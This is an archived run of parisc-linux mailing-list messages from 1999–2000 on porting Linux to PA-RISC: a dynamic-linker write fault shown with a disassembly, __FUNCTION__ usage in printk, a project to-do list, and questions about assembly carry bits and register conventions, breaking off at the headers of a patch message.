From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug in shared libraries
Date: Fri, 20 Oct 2000 08:37:54 -0600 (MDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <200010201437.IAA06649@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619199 4862 80.91.229.3 (22 Nov 2014 01:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Oct 20 08:36:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA31849
	for <parisc-linux@puffin.external.hp.com>; Fri, 20 Oct 2000 08:36:32 -0600
Original-Received: (qmail 24180 invoked by uid 15267); 20 Oct 2000 14:37:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24166 invoked from network); 20 Oct 2000 14:37:56 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Oct 2000 14:37:56 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 490BE84B
	for <parisc-linux@thepuffingroup.com>; Fri, 20 Oct 2000 10:37:55 -0400 (EDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id IAA06649 for parisc-linux@thepuffingroup.com; Fri, 20 Oct 2000 08:37:54 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8174

FYI,

Here is a partial dump from ld-2.1.94.so. The instruction at offset 3c60
below, "stw r6,0(r7)", is the first faulting instruction that is attempting
to write into its own .rodata section. Once this is fixed, there may
be others.

John

00003c00 <_dl_start+0x4c0>:
    3c00:       0c 60 10 97     ldw  0(sr0,r3),r23
    3c04:       2a 60 00 00     addil 0,r19,%r1
    3c08:       48 21 00 78     ldw 3c(sr0,r1),r1
    3c0c:       6b c1 3f 99     stw r1,-34(sr0,sp)
    3c10:       6b c0 3f 91     stw r0,-38(sr0,sp)
    3c14:       34 1a 00 04     ldi 2,r26
    3c18:       2a 60 00 00     addil 0,r19,%r1
    3c1c:       48 38 00 80     ldw 40(sr0,r1),r24
    3c20:       e8 45 18 74     b,l f860 <_dl_sysdep_output>,rp
    3c24:       0a f5 0a 17     add,l r21,r23,r23
    3c28:       08 04 02 53     copy r4,r19
    3c2c:       4b d4 3e a9     ldw -ac(sr0,sp),r20
    3c30:       0c 70 10 98     ldw  8(sr0,r3),r24
    3c34:       0e 90 10 94     ldw  8(sr0,r20),r20
    3c38:       08 07 02 5a     copy r7,r26
    3c3c:       0b 14 b8 80     cmpclr,>> r20,r24,r0
    3c40:       08 14 02 58     copy r20,r24
    3c44:       e8 48 0a 3c     b,l 15168 <memcpy>,rp
    3c48:       08 06 02 59     copy r6,r25
    3c4c:       e8 00 00 20     b,l 3c64 <_dl_start+0x524>,r0
    3c50:       08 04 02 53     copy r4,r19
    3c54:       e8 44 1d 8c     b,l db20 <_dl_reloc_bad_type>,rp
    3c58:       34 18 00 00     ldi 0,r24
    3c5c:       08 04 02 53     copy r4,r19
    3c60:       0c e6 12 80     stw  r6,0(sr0,r7)
    3c64:       34 a5 00 18     ldo c(r5),r5
    3c68:       88 a9 bc 27     cmpb,>>,n r9,r5,3a80 <_dl_start+0x340>
    3c6c:       0c a8 10 97     ldw  4(sr0,r5),r23
    3c70:       e8 00 03 f8     b,l 3e74 <_dl_start+0x734>,r0
    3c74:       35 6b 00 02     ldo 1(r11),r11
    3c78:       80 a9 a3 e2     cmpb,<<=,n r9,r5,3e70 <_dl_start+0x730>
    3c7c:       0d 00 10 95     ldw  0(sr0,r8),r21
    3c80:       0c a0 10 94     ldw  0(sr0,r5),r20
    3c84:       0a 95 0a 07     add,l r21,r20,r7
    3c88:       0c a8 10 95     ldw  4(sr0,r5),r21
    3c8c:       d2 b4 1a e8     extrw,u r21,23,24,r20
    3c90:       d6 94 08 84     depw,z r20,27,28,r20
    3c94:       0a 8a 0a 14     add,l r10,r20,r20


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug in shared libraries
Date: 20 Oct 2000 11:20:35 -0400
Organization: Linuxcare, Inc.
Lines: 35
Approved: news@gmane.org
Message-ID: <8766mn1qv0.fsf@linuxcare.com>
References: <200010201437.IAA06649@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619199 4865 80.91.229.3 (22 Nov 2014 01:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Fri Oct 20 09:24:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA00353
	for <parisc-linux@puffin.external.hp.com>; Fri, 20 Oct 2000 09:24:00 -0600
Original-Received: (qmail 22802 invoked by uid 15267); 20 Oct 2000 15:25:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22753 invoked from network); 20 Oct 2000 15:25:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 20 Oct 2000 15:25:21 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13mdyF-0000Qz-00; Fri, 20 Oct 2000 11:20:35 -0400
In-Reply-To: John Marvin's message of "Fri, 20 Oct 2000 08:37:54 -0600 (MDT)"
Original-Lines: 34
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8175

John Marvin <jsm@udlkern.fc.hp.com> writes:

> Here is a partial dump from ld-2.1.94.so. The instruction at offset 3c60
> below, "stw r6,0(r7)", is the first faulting instruction that is attempting
> to write into its own .rodata section. Once this is fixed, there may
> be others.

Yes, I know what this is now.  The problem is that the compiler places
static PLABELs in .rodata instead of .data.  This doesn't cause any
problems for static executables since all the relocations on these
PLABELs will be resolved in the final link.  However when building
shared objects they will get emitted as dynamic relocations.

That's actually not supposed to make the dynamic linker crash though,
because the linker will set a flag (and create a dynamic tag) to
indicate that the read-only segments in the object should be remapped
read-write during relocation processing.

I wonder if the problem is actually that the call to mprotect() that
ld.so makes in order to remap its text segment read-write is failing,
or not having the desired effect.

Still it is wrong to be putting relocatable stuff in the text segment
(duh :) I'd meant to fix this eventually but it never affected us
before, so I sort of ignored it.  Too bad we didn't have a working
page fault handler earlier... it would really have been nice to catch
it early.

I guess I will "fix" the compiler to put them in .data instead for the
ELF32 target.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __FUNCTION__ work?
Date: Sat, 21 Oct 2000 10:37:08 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200010211737.KAA17095@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619200 4871 80.91.229.3 (22 Nov 2014 01:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Oct 21 11:31:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20263
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 11:31:17 -0600
Original-Received: (qmail 11211 invoked by uid 15267); 21 Oct 2000 17:32:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11200 invoked from network); 21 Oct 2000 17:32:34 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 17:32:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 5EA1C3FB5
	for <parisc-linux@thepuffingroup.com>; Sat, 21 Oct 2000 10:32:33 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id KAA17095
	for parisc-linux@thepuffingroup.com; Sat, 21 Oct 2000 10:37:08 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8176

Hi all,
Can anyone tell me if __FUNCTION__ works for the 32-bit tool chain?


I'm quite certain it's not working for the 64-bit toolchain.
Alan (Modra), can you fix that?

The output I get from:
	printk(__FUNCTION__ "() starts\n");

is
	() starts

It's not a disaster, just slightly annoying when debug code
doesn't tell me everything I expect. And I know this worked
before in the 32-bit toolchain (and probably still does).

thanks,
grant


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some things to do...
Date: Fri, 16 Apr 1999 16:01:45 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990416155029.27211L-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619200 4873 80.91.229.3 (22 Nov 2014 01:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Apr 16 16:02:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA16369
	for <parisc-linux@sod.res.cmu.edu>; Fri, 16 Apr 1999 16:02:09 -0400
Original-Received: (qmail 27097 invoked by uid 15267); 16 Apr 1999 20:00:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27090 invoked from network); 16 Apr 1999 20:00:49 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 16 Apr 1999 20:00:49 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id QAA23045
	for <parisc-linux@thepuffingroup.com>; Fri, 16 Apr 1999 16:01:45 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8177


I just thought I'd revive things by spitting out a few things on the grand
to do list; I'm sure I'm missing things.  Please pipe up.

1. Fixing binutils

There's problems with binutils and linking.  I can't tell you precisely
what because I don't understnad it myself.  I know we need to resolve the
ELF situation.  Ulrich, comments on this?

2. Kernel stuff

Even the basic kernel building needs a lot of help; doing a 'make dep'
shouldn't build the whhole thing.  A non-kernel aware person might have
fun with that.

There's of course MMU and interrupt stuff, but we need the binutils sorted
out first I suspect.

3. Renaming.

I suspect cygnus isn't going to like this a whole lot, but really the
*true* name of the CPU is PA RISC, not HPPA.  This really isn't open for
debate anymore.  So we either need aliases written into autoconf scripts,
and possibly might need other changes to binutils and egcs.  Comments on
how to do this from Cygnus would be appreciated.

4. The bootloader.

We need to get more into making the bootloader interactive, and cleaning
up the source a bit.

5. Fixing the cross compiler packaging.

This is another easy one.  The current binary rpms are somewhat broken in
where they leave files, so that really needs to be redone.  Justin's got
some debian packages for those of you inclined that way.

So, step right up...

- Alex
-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __FUNCTION__ work?
Date: 21 Oct 2000 10:45:09 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <m37l72gkbe.fsf@otr.mynet.cygnus.com>
References: <200010211737.KAA17095@milano.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619200 4876 80.91.229.3 (22 Nov 2014 01:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: drepper@redhat.com  Sat Oct 21 11:54:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21007
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 11:54:21 -0600
Original-Received: (qmail 26927 invoked by uid 15267); 21 Oct 2000 17:55:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26912 invoked from network); 21 Oct 2000 17:55:46 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 17:55:46 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA22570;
	Sat, 21 Oct 2000 10:45:15 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 62B7A3105; Sat, 21 Oct 2000 10:45:09 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Grant Grundler's message of "Sat, 21 Oct 2000 10:37:08 -0700 (PDT)"
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8178

Grant Grundler <grundler@cup.hp.com> writes:

> The output I get from:
> 	printk(__FUNCTION__ "() starts\n");

RTFM.  __FUNCTION__ and __func__ are identifiers, not string literals.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __FUNCTION__ work?
Date: Sat, 21 Oct 2000 11:34:36 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <200010211834.LAA17164@milano.cup.hp.com>
References: <m37l72gkbe.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619201 4878 80.91.229.3 (22 Nov 2014 01:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: drepper@cygnus.com (Ulrich Drepper)
Original-X-From: grundler@cup.hp.com  Sat Oct 21 12:28:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21867
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 12:28:52 -0600
Original-Received: (qmail 16656 invoked by uid 15267); 21 Oct 2000 18:30:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16633 invoked from network); 21 Oct 2000 18:30:14 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 18:30:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 3FAA5CB1; Sat, 21 Oct 2000 11:30:09 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA17164;
	Sat, 21 Oct 2000 11:34:37 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "21 Oct 2000 10:45:09 PDT."
             <m37l72gkbe.fsf@otr.mynet.cygnus.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8179

Ulrich Drepper wrote:
> Grant Grundler <grundler@cup.hp.com> writes:
> 
> > The output I get from:
> > 	printk(__FUNCTION__ "() starts\n");
> 
> RTFM.  __FUNCTION__ and __func__ are identifiers, not string literals.

Ok. I'll update my usage. tnx.

I tried to find the manual (still looking) but found some other
interesting links instead:

http://gcc.gnu.org/ml/gcc-patches/1999-10n/msg00281.html
    Jason Merrill <jason at cygnus dot com> wrote:
    | In g++, __FUNCTION__ is a variable, not a string literal.
    | That change was necessary to support templates.

http://agnes.dida.physik.uni-essen.de/~janjaap/mingw32/gcc-announce.html
(gcc 2.8.0 release notes dated Wed, 14 Jan 98 05:59:05 EST)
    Richard Kenner wrote:
    | __FUNCTION__ and __PRETTY_FUNCTION__ are now treated as variables by
    | the parser; previously they were treated as string constants.  So code
    | like  `printf (__FUNCTION__ ": foo")' must be rewritten to `printf
    | ("%s: foo", __FUNCTION__)'.  This is necessary for templates.

I've been writing 'C' code since about 1985...old habits die hard. :^)

thanks,
grant

> -- 
> ---------------.                          ,-.   1325 Chesapeake Terrace
> Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
> Red Hat          `--' drepper at redhat.com   `------------------------

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc asm questions
Date: Sat, 21 Oct 2000 13:39:50 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20001021133950.A7980@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619201 4882 80.91.229.3 (22 Nov 2014 01:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sat Oct 21 14:38:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA22977
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 14:38:33 -0600
Original-Received: (qmail 972 invoked by uid 15267); 21 Oct 2000 20:39:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 945 invoked from network); 21 Oct 2000 20:39:58 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 20:39:58 -0000
Original-Received: (qmail 4079 invoked by alias); 21 Oct 2000 20:39:56 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 4065 invoked by uid 0); 21 Oct 2000 20:39:56 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop2.phnx.uswest.net with SMTP; 21 Oct 2000 20:39:56 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13n5Qk-0003O5-00; Sat, 21 Oct 2000 13:39:50 -0700
User-Agent: Mutt/1.0.1i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8180

would someone please enlighten me about why this is happening?

i have a simple fetch-add asm loop:

/* arg0 is a pointer to a buffer, %arg1 is the length, %r4 == %arg1>>2 */
$loop:
	ldws,ma		4(%arg0), %r3
	addc		%ret0, %r3, %ret0
	addib,<>	-1, %r4, $loop
	addi		-4, %arg1, %arg1

i notice that the sum returned is sometimes off by a certain amount from
what i was expecting.  while i was tracing this down, i added a line to 
the loop so that it's:

$loop:
	add		%r0, %r3, %r3	/* isn't this equivalent to a nop? */
	ldws,ma		4(%arg0), %r3
	addc		%ret0, %r3, %ret0
	addib,<>	-1, %r4, $loop
	addi		-4, %arg1, %arg1

and i get fairly different behavior. I think I'm not understanding how
the carry bit gets updated or something. any hints will be much appreciated.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc asm questions
Date: Sat, 21 Oct 2000 16:32:06 -0600 (MDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200010212232.QAA05513@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619201 4885 80.91.229.3 (22 Nov 2014 01:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sat Oct 21 16:30:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23976
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 16:30:41 -0600
Original-Received: (qmail 6304 invoked by uid 15267); 21 Oct 2000 22:32:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6297 invoked from network); 21 Oct 2000 22:32:07 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 22:32:07 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 89DA2333
	for <parisc-linux@thepuffingroup.com>; Sat, 21 Oct 2000 18:32:06 -0400 (EDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id QAA05513 for parisc-linux@thepuffingroup.com; Sat, 21 Oct 2000 16:32:06 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8181

Randolph,

The add instruction doesn't use the carry bit as input, but it does
produce a carry bit.  The addc instruction both uses and produces a carry
bit.  The addi instruction also does not use the carry bit as input, but
it does produce a carry bit (I use the term "carry bit", although the
architecture has a set of "carry/borrow bits", but in terms of the
instructions referenced here, only one of the bits matters, so I refer to
it as the carry bit).

So I see a variety of problems with your examples:

1) Your first loop uses addc, which means that it will use the carry bit,
which may be in an undefined state the first time you execute it, if you
have done nothing to set it the way you want.  You can either use an add
instruction before the loop to do the first add, or you can do an "add
%r0,%r0,%r0" to clear the carry bit before the loop.

2) The addi in the loop messes with the carry bit, which you don't want.
In most cases it will set the carry bit, unless %arg1 is less than 4.
The normal convention would be to use ldo -4(%arg1),%arg1 instead.
The addib instruction is ok, since it does not use or set the carry
bit.

3) In the second loop the add instruction is not a noop, since it has the
effect of clearing the carry bit.


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc asm questions
Date: Sat, 21 Oct 2000 16:16:12 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20001021161612.A29036@tausq.org>
References: <200010212232.QAA05513@udlkern.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619202 4904 80.91.229.3 (22 Nov 2014 01:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: randolph@tausq.org  Sat Oct 21 17:14:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA24597
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Oct 2000 17:14:54 -0600
Original-Received: (qmail 1299 invoked by uid 15267); 21 Oct 2000 23:16:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1283 invoked from network); 21 Oct 2000 23:16:19 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 21 Oct 2000 23:16:19 -0000
Original-Received: (qmail 67832 invoked by alias); 21 Oct 2000 23:16:18 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 67816 invoked by uid 0); 21 Oct 2000 23:16:18 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop5.phnx.uswest.net with SMTP; 21 Oct 2000 23:16:18 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13n7s4-00034h-00; Sat, 21 Oct 2000 16:16:12 -0700
User-Agent: Mutt/1.0.1i
In-Reply-To: <200010212232.QAA05513@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Sat, Oct 21, 2000 at 04:32:06PM -0600
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8182

> The add instruction doesn't use the carry bit as input, but it does
> produce a carry bit.  The addc instruction both uses and produces a carry
[...]

Thanks for the explanation. With some help from Grant on IRC I managed
to figure this out as well.

Another question though -- it looks like I cannot use r4 as a scratch
register as it messes with the stack. From looking at the documentation
(linux/Documentation/parisc/registers) it just says that the GRs are
used "as specified by ABI". Is this ABI documented some place? I did
look at the PDC documentation which lists some of the registers, but I
don't see anything about GR4.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] linux/include/asm-parisc/checksum.h
Date: Sun, 22 Oct 2000 14:21:39 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20001022142139.A7587@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619202 4930 80.91.229.3 (22 Nov 2014 01:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sun Oct 22 15:20:32 2000
